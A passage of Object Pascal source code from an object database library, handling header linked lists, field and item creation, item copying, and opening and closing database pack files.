NewHeader.PrevHeader := Prev.CurrentHeader; NewHeader.NextHeader := Curr.CurrentHeader; NewHeader.PositionID := DB_Header_Medium; if dbHeader_WriteRec(NewHeader.CurrentHeader, IOHnd, NewHeader) = False then begin Result := False; exit; end; // modify prev header Prev.NextHeader := NewHeader.CurrentHeader; if dbHeader_WriteRec(Prev.CurrentHeader, IOHnd, Prev) = False then begin NewHeader.State := Prev.State; Result := False; exit; end; // write current Curr.PrevHeader := NewHeader.CurrentHeader; Curr.PositionID := DB_Header_Last; if dbHeader_WriteRec(Curr.CurrentHeader, IOHnd, Curr) = False then begin NewHeader.State := Curr.State; Result := False; exit; end; end else if f.HeaderCount = 1 then begin // modify field f.HeaderCount := f.HeaderCount + 1; f.FirstHeaderPOS := NewHeader.CurrentHeader; f.LastHeaderPOS := Curr.CurrentHeader; if dbField_WriteRec(f.RHeader.CurrentHeader, IOHnd, f) = False then begin NewHeader.State := f.State; Result := False; exit; end; // write newheader NewHeader.PrevHeader := f.LastHeaderPOS; NewHeader.NextHeader := Curr.CurrentHeader; NewHeader.PositionID := DB_Header_First; if dbHeader_WriteRec(NewHeader.CurrentHeader, IOHnd, NewHeader) = False then begin Result := False; exit; end; // modify current header Curr.PrevHeader := NewHeader.CurrentHeader; Curr.PositionID := DB_Header_Last; if dbHeader_WriteRec(Curr.CurrentHeader, IOHnd, Curr) = False then begin NewHeader.State := Curr.State; Result := False; exit; end; end else begin // error NewHeader.State := DB_Header_NotFindHeader; Result := False; exit; end; end; DB_Header_1: begin // modify field f.HeaderCount := f.HeaderCount + 1; f.FirstHeaderPOS := NewHeader.CurrentHeader; f.LastHeaderPOS := Curr.CurrentHeader; if dbField_WriteRec(f.RHeader.CurrentHeader, IOHnd, f) = False then begin NewHeader.State := f.State; Result := False; exit; end; // write newheader NewHeader.PrevHeader := f.LastHeaderPOS; NewHeader.NextHeader := Curr.CurrentHeader; NewHeader.PositionID := DB_Header_First; if dbHeader_WriteRec(NewHeader.CurrentHeader, IOHnd, NewHeader) = False then begin Result := False; exit; end; // modify current header Curr.PrevHeader := NewHeader.CurrentHeader; Curr.PositionID := DB_Header_Last; if dbHeader_WriteRec(Curr.CurrentHeader, IOHnd, Curr) = False then begin NewHeader.State := Curr.State; Result := False; exit; end; end; end; NewHeader.State := DB_Header_ok; Result := True; end; function dbField_DeleteHeader_(const HeaderPOS, FieldPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; var DeleteHeader, SwapHeader: THeader; begin if dbField_ReadRec(FieldPos, IOHnd, Field_) = False then begin Result := False; exit; end; case Field_.HeaderCount of 0: begin Field_.State := DB_Field_DeleteHeaderError; Result := False; exit; end; 1: begin if HeaderPOS = Field_.FirstHeaderPOS then begin Field_.HeaderCount := 0; Field_.FirstHeaderPOS := 0; Field_.LastHeaderPOS := 0; Field_.RHeader.ModificationTime := umlDefaultTime; if dbField_WriteRec(Field_.RHeader.CurrentHeader, IOHnd, Field_) = False then begin Result := False; exit; end; Result := True; Field_.State := DB_Field_ok; exit; end; Result := False; Field_.State := DB_Field_DeleteHeaderError; exit; end; 2: begin if dbHeader_ReadRec(HeaderPOS, IOHnd, DeleteHeader) = False then begin Field_.State := DeleteHeader.State; Result := False; exit; end; case DeleteHeader.PositionID of DB_Header_First: begin if dbHeader_ReadRec(Field_.LastHeaderPOS, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.NextHeader := SwapHeader.CurrentHeader; SwapHeader.PrevHeader := SwapHeader.CurrentHeader; SwapHeader.PositionID := DB_Header_1; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; Field_.FirstHeaderPOS := SwapHeader.CurrentHeader; Field_.LastHeaderPOS := SwapHeader.CurrentHeader; Field_.HeaderCount := Field_.HeaderCount - 1; Field_.RHeader.ModificationTime := umlDefaultTime; if dbField_WriteRec(Field_.RHeader.CurrentHeader, IOHnd, Field_) = False then begin Result := False; exit; end; Field_.State := DB_Field_ok; Result := True; end; DB_Header_Last: begin if dbHeader_ReadRec(Field_.FirstHeaderPOS, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.NextHeader := SwapHeader.CurrentHeader; SwapHeader.PrevHeader := SwapHeader.CurrentHeader; SwapHeader.PositionID := DB_Header_1; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; Field_.FirstHeaderPOS := SwapHeader.CurrentHeader; Field_.LastHeaderPOS := SwapHeader.CurrentHeader; Field_.HeaderCount := Field_.HeaderCount - 1; Field_.RHeader.ModificationTime := umlDefaultTime; if dbField_WriteRec(Field_.RHeader.CurrentHeader, IOHnd, Field_) = False then begin Result := False; exit; end; Field_.State := DB_Field_ok; Result := True; end; else begin Field_.State := DB_Field_DeleteHeaderError; Result := False; end; end; exit; end; 3: begin if dbHeader_ReadRec(HeaderPOS, IOHnd, DeleteHeader) = False then begin Field_.State := DeleteHeader.State; Result := False; exit; end; case DeleteHeader.PositionID of DB_Header_First: begin if dbHeader_ReadRec(DeleteHeader.NextHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.PrevHeader := DeleteHeader.PrevHeader; SwapHeader.PositionID := DB_Header_First; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; Field_.FirstHeaderPOS := SwapHeader.CurrentHeader; if dbHeader_ReadRec(DeleteHeader.PrevHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.NextHeader := DeleteHeader.NextHeader; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; Field_.HeaderCount := Field_.HeaderCount - 1; Field_.RHeader.ModificationTime := umlDefaultTime; if dbField_WriteRec(Field_.RHeader.CurrentHeader, IOHnd, Field_) = False then begin Result := False; exit; end; Field_.State := DB_Field_ok; Result := True; end; DB_Header_Medium: begin if dbHeader_ReadRec(DeleteHeader.PrevHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.NextHeader := DeleteHeader.NextHeader; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; if dbHeader_ReadRec(DeleteHeader.NextHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.PrevHeader := DeleteHeader.PrevHeader; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; Field_.HeaderCount := Field_.HeaderCount - 1; Field_.RHeader.ModificationTime := umlDefaultTime; if dbField_WriteRec(Field_.RHeader.CurrentHeader, IOHnd, Field_) = False then begin Result := False; exit; end; Field_.State := DB_Field_ok; Result := True; end; DB_Header_Last: begin if dbHeader_ReadRec(DeleteHeader.PrevHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.NextHeader := DeleteHeader.NextHeader; SwapHeader.PositionID := DB_Header_Last; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; Field_.LastHeaderPOS := SwapHeader.CurrentHeader; if dbHeader_ReadRec(DeleteHeader.NextHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.PrevHeader := DeleteHeader.PrevHeader; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; Field_.HeaderCount := Field_.HeaderCount - 1; Field_.RHeader.ModificationTime := umlDefaultTime; if dbField_WriteRec(Field_.RHeader.CurrentHeader, IOHnd, Field_) = False then begin Result := False; exit; end; Field_.State := DB_Field_ok; Result := True; end; else begin Field_.State := DB_Field_DeleteHeaderError; Result := False; end; end; exit; end; else begin if dbHeader_ReadRec(HeaderPOS, IOHnd, DeleteHeader) = False then begin Field_.State := DeleteHeader.State; Result := False; exit; end; case DeleteHeader.PositionID of DB_Header_First: begin if dbHeader_ReadRec(DeleteHeader.NextHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.PrevHeader := DeleteHeader.PrevHeader; SwapHeader.PositionID := DB_Header_First; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; Field_.FirstHeaderPOS := SwapHeader.CurrentHeader; if dbHeader_ReadRec(DeleteHeader.PrevHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.NextHeader := DeleteHeader.NextHeader; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; Field_.HeaderCount := Field_.HeaderCount - 1; Field_.RHeader.ModificationTime := umlDefaultTime; if dbField_WriteRec(Field_.RHeader.CurrentHeader, IOHnd, Field_) = False then begin Result := False; exit; end; Field_.State := DB_Field_ok; Result := True; end; DB_Header_Medium: begin if dbHeader_ReadRec(DeleteHeader.PrevHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.NextHeader := DeleteHeader.NextHeader; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; if dbHeader_ReadRec(DeleteHeader.NextHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.PrevHeader := DeleteHeader.PrevHeader; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; Field_.HeaderCount := Field_.HeaderCount - 1; Field_.RHeader.ModificationTime := umlDefaultTime; if dbField_WriteRec(Field_.RHeader.CurrentHeader, IOHnd, Field_) = False then begin Result := False; exit; end; Field_.State := DB_Field_ok; Result := True; end; DB_Header_Last: begin if dbHeader_ReadRec(DeleteHeader.PrevHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.NextHeader := DeleteHeader.NextHeader; SwapHeader.PositionID := DB_Header_Last; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; Field_.LastHeaderPOS := SwapHeader.CurrentHeader; if dbHeader_ReadRec(DeleteHeader.NextHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.PrevHeader := DeleteHeader.PrevHeader; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; Field_.HeaderCount := Field_.HeaderCount - 1; Field_.RHeader.ModificationTime := umlDefaultTime; if dbField_WriteRec(Field_.RHeader.CurrentHeader, IOHnd, Field_) = False then begin Result := False; exit; end; Field_.State := DB_Field_ok; Result := True; end; else begin Field_.State := DB_Field_DeleteHeaderError; Result := False; end; end; exit; end; end; Result := True; end; function dbField_DeleteHeader(const HeaderPOS, FieldPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; begin Result := dbField_DeleteHeader_(HeaderPOS, FieldPos, IOHnd, Field_); if Result then if IOHnd.Data <> nil then if Assigned(PObjectDataHandle(IOHnd.Data)^.OnDeleteHeader) then PObjectDataHandle(IOHnd.Data)^.OnDeleteHeader(HeaderPOS); end; function dbField_MoveHeader(const HeaderPOS: Int64; const SourcerFieldPOS, TargetFieldPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; var ActiveHeader, SwapHeader: THeader; begin if dbHeader_ReadRec(HeaderPOS, IOHnd, ActiveHeader) = False then begin Field_.State := ActiveHeader.State; Result := False; exit; end; if dbField_DeleteHeader_(ActiveHeader.CurrentHeader, SourcerFieldPOS, IOHnd, Field_) = False then begin Result := False; exit; end; if dbField_ReadRec(TargetFieldPos, IOHnd, Field_) = False then begin Result := False; exit; end; case Field_.HeaderCount of 0: begin Field_.HeaderCount := 1; Field_.FirstHeaderPOS := ActiveHeader.CurrentHeader; Field_.LastHeaderPOS := Field_.FirstHeaderPOS; ActiveHeader.PositionID := DB_Header_1; ActiveHeader.NextHeader := Field_.FirstHeaderPOS; ActiveHeader.PrevHeader := Field_.FirstHeaderPOS; if dbField_WriteRec(Field_.RHeader.CurrentHeader, IOHnd, Field_) = False then begin Result := False; exit; end; if dbHeader_WriteRec(ActiveHeader.CurrentHeader, IOHnd, ActiveHeader) = False then begin Field_.State := ActiveHeader.State; Result := False; exit; end; end; 1: begin if dbHeader_ReadRec(Field_.FirstHeaderPOS, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.PrevHeader := ActiveHeader.CurrentHeader; SwapHeader.NextHeader := ActiveHeader.CurrentHeader; SwapHeader.PositionID := DB_Header_First; ActiveHeader.NextHeader := SwapHeader.CurrentHeader; ActiveHeader.PrevHeader := SwapHeader.CurrentHeader; ActiveHeader.PositionID := DB_Header_Last; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; Field_.HeaderCount := Field_.HeaderCount + 1; Field_.LastHeaderPOS := ActiveHeader.CurrentHeader; Field_.RHeader.ModificationTime := umlDefaultTime; if dbField_WriteRec(Field_.RHeader.CurrentHeader, IOHnd, Field_) = False then begin Result := False; exit; end; if dbHeader_WriteRec(ActiveHeader.CurrentHeader, IOHnd, ActiveHeader) = False then begin Field_.State := ActiveHeader.State; Result := False; exit; end; end; else begin if dbHeader_ReadRec(Field_.FirstHeaderPOS, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.PrevHeader := ActiveHeader.CurrentHeader; SwapHeader.PositionID := DB_Header_First; ActiveHeader.NextHeader := SwapHeader.CurrentHeader; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; if dbHeader_ReadRec(Field_.LastHeaderPOS, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; SwapHeader.NextHeader := ActiveHeader.CurrentHeader; ActiveHeader.PrevHeader := SwapHeader.CurrentHeader; SwapHeader.PositionID := DB_Header_Medium; if dbHeader_WriteRec(SwapHeader.CurrentHeader, IOHnd, SwapHeader) = False then begin Field_.State := SwapHeader.State; Result := False; exit; end; Field_.HeaderCount := Field_.HeaderCount + 1; Field_.LastHeaderPOS := ActiveHeader.CurrentHeader; Field_.RHeader.ModificationTime := umlDefaultTime; ActiveHeader.PositionID := DB_Header_Last; if dbField_WriteRec(Field_.RHeader.CurrentHeader, IOHnd, Field_) = False then begin Result := False; exit; end; if dbHeader_WriteRec(ActiveHeader.CurrentHeader, IOHnd, ActiveHeader) = False then begin Field_.State := ActiveHeader.State; Result := False; exit; end; end; end; Field_.State := DB_Field_ok; Result := True; end; function dbField_CreateField(const Name: U_String; const fPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; begin if dbField_CreateHeader(Name, DB_Header_Field_ID, fPos, IOHnd, Field_.RHeader) = False then begin Field_.State := Field_.RHeader.State; Result := False; exit; end; Field_.HeaderCount := 0; Field_.UpFieldPOS := fPos; if dbField_OnlyWriteFieldRec(Field_.RHeader.DataPosition, IOHnd, Field_) = False then begin Result := False; exit; end; Field_.State := DB_Field_ok; Result := True; end; function dbField_InsertNewField(const Name: U_String; const FieldPos, CurrentInsertPos: Int64; var IOHnd: TIOHnd; var Field_: TField): Boolean; begin if dbField_InsertNewHeader(Name, DB_Header_Field_ID, FieldPos, CurrentInsertPos, IOHnd, Field_.RHeader) = False then begin Field_.State := Field_.RHeader.State; Result := False; exit; end; Field_.HeaderCount := 0; Field_.UpFieldPOS := FieldPos; if dbField_OnlyWriteFieldRec(Field_.RHeader.DataPosition, IOHnd, Field_) = False then begin Result := False; exit; end; Field_.State := DB_Field_ok; Result := True; end; function dbField_CreateItem(const Name: U_String; const ExterID: Byte; const fPos: Int64; var IOHnd: TIOHnd; var Item_: TItem): Boolean; begin if dbField_CreateHeader(Name, DB_Header_Item_ID, fPos, IOHnd, Item_.RHeader) = False then begin Item_.State := Item_.RHeader.State; Result := False; exit; end; Item_.ExtID := ExterID; Item_.FirstBlockPOS := 0; Item_.LastBlockPOS := 0; Item_.Size := 0; Item_.BlockCount := 0; Item_.RHeader.ModificationTime := umlDefaultTime; if dbItem_OnlyWriteItemRec(Item_.RHeader.DataPosition, IOHnd, Item_) = False then begin Result := False; exit; end; Item_.DataModification := True; Item_.State := DB_Item_ok; Result := True; end; function dbField_InsertNewItem(const Name: U_String; const ExterID: Byte; const FieldPos, CurrentInsertPos: Int64; var IOHnd: TIOHnd; var Item_: TItem): Boolean; begin if dbField_InsertNewHeader(Name, DB_Header_Item_ID, FieldPos, CurrentInsertPos, IOHnd, Item_.RHeader) = False then begin Item_.State := Item_.RHeader.State; Result := False; exit; end; Item_.ExtID := ExterID; Item_.FirstBlockPOS := 0; Item_.LastBlockPOS := 0; Item_.Size := 0; Item_.BlockCount := 0; Item_.RHeader.ModificationTime := umlDefaultTime; if dbItem_OnlyWriteItemRec(Item_.RHeader.DataPosition, IOHnd, Item_) = False then begin Result := False; exit; end; Item_.DataModification := True; Item_.State := DB_Item_ok; Result := True; end; function dbField_CopyItem(var Item_: TItem; var IOHnd: TIOHnd; const DestFieldPos: Int64; var DestIOHnd: TIOHnd): Boolean; var i: Integer; NewItemHnd: TItem; buff: array [0 .. C_MaxBufferFragmentSize] of Byte; begin Init_TItem(NewItemHnd); NewItemHnd := Item_; if dbField_CreateItem(Item_.RHeader.Name, Item_.ExtID, DestFieldPos, DestIOHnd, NewItemHnd) = False then begin Item_.State := NewItemHnd.State; Result := False; exit; end; if dbItem_BlockSeekStartPOS(IOHnd, Item_) = False then begin Result := False; exit; end; if Item_.Size > C_MaxBufferFragmentSize then begin for i := 1 to (Item_.Size div C_MaxBufferFragmentSize) do begin if dbItem_BlockReadData(IOHnd, Item_, buff, C_MaxBufferFragmentSize) = False then begin Result := False; exit; end; if dbItem_BlockAppendWriteData(DestIOHnd, NewItemHnd, buff, C_MaxBufferFragmentSize) = False then begin Item_.State := NewItemHnd.State; Result := False; exit; end; end; if (Item_.Size mod C_MaxBufferFragmentSize) > 0 then begin if dbItem_BlockReadData(IOHnd, Item_, buff, Item_.Size mod C_MaxBufferFragmentSize) = False then begin Result := False; exit; end; if dbItem_BlockAppendWriteData(DestIOHnd, NewItemHnd, buff, Item_.Size mod C_MaxBufferFragmentSize) = False then begin Item_.State := NewItemHnd.State; Result := False; exit; end; end; end else begin if dbItem_BlockReadData(IOHnd, Item_, buff, Item_.Size) = False then begin Result := False; exit; end; if dbItem_BlockAppendWriteData(DestIOHnd, NewItemHnd, buff, Item_.Size) = False then begin Item_.State := NewItemHnd.State; Result := False; exit; end; end; if dbItem_WriteRec(NewItemHnd.RHeader.CurrentHeader, DestIOHnd, NewItemHnd) = False then begin Item_.State := NewItemHnd.State; Result := False; exit; end; Item_.State := DB_Item_ok; Result := True; end; function dbField_CopyItemBuffer(var Item_: TItem; var IOHnd: TIOHnd; var DestItem_: TItem; var DestIOHnd: TIOHnd): Boolean; var i: Integer; buff: array [0 .. C_MaxBufferFragmentSize] of Byte; begin if dbItem_BlockSeekStartPOS(IOHnd, Item_) = False then begin Result := False; exit; end; if Item_.Size > C_MaxBufferFragmentSize then begin for i := 1 to (Item_.Size div C_MaxBufferFragmentSize) do begin if dbItem_BlockReadData(IOHnd, Item_, buff, C_MaxBufferFragmentSize) = False then begin Result := False; exit; end; if dbItem_BlockAppendWriteData(DestIOHnd, DestItem_, buff, C_MaxBufferFragmentSize) = False then begin Item_.State := DestItem_.State; Result := False; exit; end; end; if (Item_.Size mod C_MaxBufferFragmentSize) > 0 then begin if dbItem_BlockReadData(IOHnd, Item_, buff, Item_.Size mod C_MaxBufferFragmentSize) = False then begin Result := False; exit; end; if dbItem_BlockAppendWriteData(DestIOHnd, DestItem_, buff, Item_.Size mod C_MaxBufferFragmentSize) = False then begin Item_.State := DestItem_.State; Result := False; exit; end; end; end else begin if dbItem_BlockReadData(IOHnd, Item_, buff, Item_.Size) = False then begin Result := False; exit; end; if dbItem_BlockAppendWriteData(DestIOHnd, DestItem_, buff, Item_.Size) = False then begin Item_.State := DestItem_.State; Result := False; exit; end; end; // fixed by qq600585,2018-12 // Header has a certain chance of being changed by other item operation during the opening of item if dbHeader_ReadReservedRec(DestItem_.RHeader.CurrentHeader, DestIOHnd, DestItem_.RHeader) = False then begin Item_.State := DestItem_.State; Result := False; exit; end; if dbItem_WriteRec(DestItem_.RHeader.CurrentHeader, DestIOHnd, DestItem_) = False then begin Item_.State := DestItem_.State; Result := False; exit; end; Item_.State := DB_Item_ok; Result := True; end; function dbField_CopyAllTo(const FilterName: U_String; const FieldPos: Int64; var IOHnd: TIOHnd; const DestFieldPos: Int64; var DestIOHnd: TIOHnd): Boolean; var fs: TFieldSearch; NewField: TField; NewItem: TItem; begin Init_TFieldSearch(fs); if dbField_OnlyFindFirstName(FilterName, FieldPos, IOHnd, fs) then begin repeat case fs.ID of DB_Header_Field_ID: begin Init_TField(NewField); if dbField_ReadRec(fs.RHeader.CurrentHeader, IOHnd, NewField) then if dbField_CreateField(fs.RHeader.Name, DestFieldPos, DestIOHnd, NewField) then dbField_CopyAllTo(FilterName, fs.RHeader.CurrentHeader, IOHnd, NewField.RHeader.CurrentHeader, DestIOHnd); end; DB_Header_Item_ID: begin if dbItem_ReadRec(fs.RHeader.CurrentHeader, IOHnd, NewItem) then begin dbField_CopyItem(NewItem, IOHnd, DestFieldPos, DestIOHnd); end; end; end; until not dbField_OnlyFindNextName(IOHnd, fs); end; Result := True; end; function db_CreateNew(const FileName: U_String; var DB_: TObjectDataHandle): Boolean; begin if umlFileTest(DB_.IOHnd) then begin DB_.State := DB_RepCreatePackError; Result := False; exit; end; if umlFileCreate(FileName, DB_.IOHnd) = False then begin DB_.State := DB_CreatePackError; Result := False; exit; end; FillPtrByte(@DB_.ReservedData[0], DB_ReservedData_Size, 0); DB_.FixedStringL := DB_.IOHnd.FixedStringL; DB_.MajorVer := DB_MajorVersion; DB_.MinorVer := DB_MinorVersion; DB_.CreateTime := umlDefaultTime; DB_.ModificationTime := DB_.CreateTime; DB_.RootHeaderCount := 0; DB_.DefaultFieldPOS := Get_DB_L(DB_.IOHnd); DB_.LastHeaderPOS := DB_.DefaultFieldPOS; DB_.FirstHeaderPOS := DB_.DefaultFieldPOS; DB_.CurrentFieldPOS := DB_.DefaultFieldPOS; if db_WriteRec(0, DB_.IOHnd, DB_) = False then begin Result := False; exit; end; if db_CreateAndSetRootField(DB_DefaultField, DB_FileDescription, DB_) = False then begin Result := False; exit; end; DB_.State := DB_ok; Result := True; end; function db_Open(const FileName: U_String; var DB_: TObjectDataHandle; _OnlyRead: Boolean): Boolean; begin if umlFileTest(DB_.IOHnd) then begin DB_.State := DB_RepOpenPackError; Result := False; exit; end; if umlFileOpen(FileName, DB_.IOHnd, _OnlyRead) = False then begin DB_.State := DB_OpenPackError; Result := False; exit; end; if DB_.IOHnd.Size = 0 then begin FillPtrByte(@DB_.ReservedData[0], DB_ReservedData_Size, 0); DB_.FixedStringL := DB_.IOHnd.FixedStringL; DB_.MajorVer := DB_MajorVersion; DB_.MinorVer := DB_MinorVersion; DB_.CreateTime := umlDefaultTime; DB_.ModificationTime := DB_.CreateTime; DB_.RootHeaderCount := 0; DB_.DefaultFieldPOS := Get_DB_L(DB_.IOHnd); DB_.LastHeaderPOS := DB_.DefaultFieldPOS; DB_.FirstHeaderPOS := DB_.DefaultFieldPOS; DB_.CurrentFieldPOS := DB_.DefaultFieldPOS; if db_WriteRec(0, DB_.IOHnd, DB_) = False then begin Result := False; exit; end; if db_CreateAndSetRootField(DB_DefaultField, DB_FileDescription, DB_) = False then begin Result := False; exit; end; DB_.State := DB_ok; Result := True; exit; end; if db_ReadRec(0, DB_.IOHnd, DB_) = False then begin Result := False; exit; end; if DB_.FixedStringL = 0 then DB_.FixedStringL := DB_.IOHnd.FixedStringL; DB_.IOHnd.FixedStringL := DB_.FixedStringL; DB_.State := DB_ok; Result := True; end; function db_CreateAsStream(stream: U_Stream; const Name, Description: U_String; var DB_: TObjectDataHandle): Boolean; begin if umlFileTest(DB_.IOHnd) then begin DB_.State := DB_RepCreatePackError; Result := False; exit; end; if umlFileCreateAsStream(Name, stream, DB_.IOHnd) = False then begin DB_.State := DB_CreatePackError; Result := False; exit; end; FillPtrByte(@DB_.ReservedData[0], DB_ReservedData_Size, 0); DB_.FixedStringL := DB_.IOHnd.FixedStringL; DB_.MajorVer := DB_MajorVersion; DB_.MinorVer := DB_MinorVersion; DB_.CreateTime := umlDefaultTime; DB_.ModificationTime := DB_.CreateTime; DB_.RootHeaderCount := 0; DB_.DefaultFieldPOS := Get_DB_L(DB_.IOHnd); DB_.LastHeaderPOS := DB_.DefaultFieldPOS; DB_.FirstHeaderPOS := DB_.DefaultFieldPOS; DB_.CurrentFieldPOS := DB_.DefaultFieldPOS; if db_WriteRec(0, DB_.IOHnd, DB_) = False then begin Result := False; exit; end; if db_CreateAndSetRootField(DB_DefaultField, DB_FileDescription, DB_) = False then begin Result := False; exit; end; DB_.State := DB_ok; Result := True; end; function db_OpenAsStream(stream: U_Stream; const Name: U_String; var DB_: TObjectDataHandle; _OnlyRead: Boolean): Boolean; begin if umlFileTest(DB_.IOHnd) then begin DB_.State := DB_RepOpenPackError; Result := False; exit; end; if umlFileOpenAsStream(Name, stream, DB_.IOHnd, _OnlyRead) = False then begin DB_.State := DB_OpenPackError; Result := False; exit; end; if db_ReadRec(0, DB_.IOHnd, DB_) = False then begin Result := False; exit; end; if DB_.FixedStringL = 0 then DB_.FixedStringL := DB_.IOHnd.FixedStringL; DB_.IOHnd.FixedStringL := DB_.FixedStringL; DB_.State := DB_ok; Result := True; end; function db_ClosePack(var DB_: TObjectDataHandle): Boolean; begin if umlFileTest(DB_.IOHnd) = False then begin DB_.State := DB_ClosePackError; Result := False; exit; end; if DB_.IOHnd.WriteStated then begin DB_.ModificationTime := umlDefaultTime; if db_WriteRec(0, DB_.IOHnd, DB_) = False then begin Result := False; exit; end; end; if umlFileClose(DB_.IOHnd) = False then begin DB_.State := DB_ClosePackError; Result := False; exit; end; DB_.State := DB_ok; Result := True; end; function db_Update(var DB_: TObjectDataHandle): Boolean; begin if umlFileTest(DB_.IOHnd) = False then begin DB_.State := DB_ClosePackError; Result := False; exit; end; if DB_.IOHnd.WriteStated then begin DB_.ModificationTime := umlDefaultTime; if db_WriteRec(0, DB_.IOHnd, DB_) = False then begin Result := False; exit; end; end; DB_.State := DB_ok; Result := umlFileUpdate(DB_.IOHnd); end; function db_CopyFieldTo(const FilterName: U_String; var DB_: TObjectDataHandle; const SourceFieldPos: Int64; var DestTMDB: TObjectDataHandle; const DestFieldPos: Int64): Boolean; begin if dbField_CopyAllTo(FilterName, SourceFieldPos, DB_.IOHnd, DestFieldPos, DestTMDB.IOHnd) then begin DB_.State := DB_ok; DestTMDB.State := DB_ok; Result := True; end else begin DB_.State := DB_CreatePackError; DestTMDB.State := DB_CreatePackError; Result := False; end; end; function db_CopyAllTo(var DB_: TObjectDataHandle; var DestTMDB: TObjectDataHandle): Boolean; begin Result := db_CopyFieldTo('*', DB_, DB_.DefaultFieldPOS, DestTMDB, DestTMDB.DefaultFieldPOS); end; function db_CopyAllToDestPath(var DB_: TObjectDataHandle; var DestTMDB: TObjectDataHandle; destPath: U_String): Boolean; var f: TField; begin Result := False; db_CreateField(destPath, '', DestTMDB); if db_GetField(destPath, f, DestTMDB) then begin Result := db_CopyFieldTo('*', DB_, DB_.DefaultFieldPOS, DestTMDB, f.RHeader.CurrentHeader); end; end; function db_TestName(const Name: U_String): Boolean; begin Result := umlDeleteChar(Name, db_FieldPathLimitChar + #9#32#13#10).Len > 0; end; function db_CheckRootField(const Name: U_String; var Field_: TField; var DB_: TObjectDataHandle): Boolean; var f: TField; begin if db_TestName(Name) = False then begin DB_.State := DB_PathNameError; Field_.State := DB_.State; Result := False; exit; end; if db_GetRootField(Name, f, DB_) = False then begin if db_CreateRootHeader(Name, DB_Header_Field_ID, DB_, Field_.RHeader) = False then begin DB_.State := Field_.RHeader.State; Field_.State := DB_.State; Result := False; exit; end; Field_.HeaderCount := 0; Field_.UpFieldPOS := -1; if dbField_OnlyWriteFieldRec(Field_.RHeader.DataPosition, DB_.IOHnd, Field_) = False then begin DB_.State := Field_.State; Field_.State := DB_.State; Result := False; exit; end; end else begin Field_ := f; end; DB_.State := DB_ok; Result := True; end; function db_CreateRootHeader(const Name: U_String; const ID: Byte; var DB_: TObjectDataHandle; var Header_: THeader): Boolean; var Header: THeader; begin Header_.ID := ID; Header_.Name := Name; case DB_.RootHeaderCount of 0: begin DB_.RootHeaderCount := 1; DB_.FirstHeaderPOS := umlFileGetSize(DB_.IOHnd); DB_.LastHeaderPOS := DB_.FirstHeaderPOS; DB_.ModificationTime := umlDefaultTime; Header_.PositionID := DB_Header_1; Header_.NextHeader := DB_.LastHeaderPOS; Header_.PrevHeader := 